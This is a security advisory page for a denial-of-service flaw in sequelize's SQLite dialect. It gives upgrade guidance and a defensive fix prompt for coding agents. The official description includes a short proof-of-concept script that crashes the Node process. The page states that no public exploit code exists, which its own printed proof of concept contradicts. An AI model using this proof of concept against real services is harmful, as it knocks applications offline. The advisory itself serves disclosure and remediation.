# GHSA-fw4p-36j9-rrj3: Denial of Service in sequelize

> Attackers can crash the Node.js process by submitting specific input to the SQLite dialect in Sequelize, causing a denial of service.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 3 Sep 2020

## What is GHSA-fw4p-36j9-rrj3?

GHSA-fw4p-36j9-rrj3 is a denial of service vulnerability in sequelize, published on 3 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  

The following proof-of-concept crashes the Node process:  
```
const Sequelize = require('sequelize');

const sequelize = new Sequelize({
	dialect: 'sqlite',
	storage: 'database.sqlite'
});

const TypeError = sequelize.define('TypeError', {
	name: Sequelize.STRING,
});

TypeError.sync({force: true}).then(() => {
	return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});
```

## Recommendation

Upgrade to version 4.44.4 or later.

## Which versions are affected by GHSA-fw4p-36j9-rrj3?

2 open source packages ship an affected version, including sequelize.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `sequelize` | npm | All versions | 4.44.4 |
| `sequelize` | npm | All versions | 4.44.4 |

## How do I fix GHSA-fw4p-36j9-rrj3?

Upgrade sequelize to 4.44.4 or later.

## Is GHSA-fw4p-36j9-rrj3 being exploited?

There is no known exploitation of GHSA-fw4p-36j9-rrj3 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-fw4p-36j9-rrj3 and fix it if it is affected.

What it is: GHSA-fw4p-36j9-rrj3 is a denial of service vulnerability in sequelize, published on 3 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-fw4p-36j9-rrj3 in the wild and no public exploit code.

Affected packages and fixed versions:
- sequelize (npm): affected all versions; fixed in 4.44.4
- sequelize (npm): affected all versions; fixed in 4.44.4

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-fw4p-36j9-rrj3/ (Markdown: https://insights.sbomify.com/GHSA-fw4p-36j9-rrj3/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-fw4p-36j9-rrj3

---
From sbomify Insights: https://insights.sbomify.com/GHSA-fw4p-36j9-rrj3/
Summaries are generated and may contain mistakes; the official description above is the record.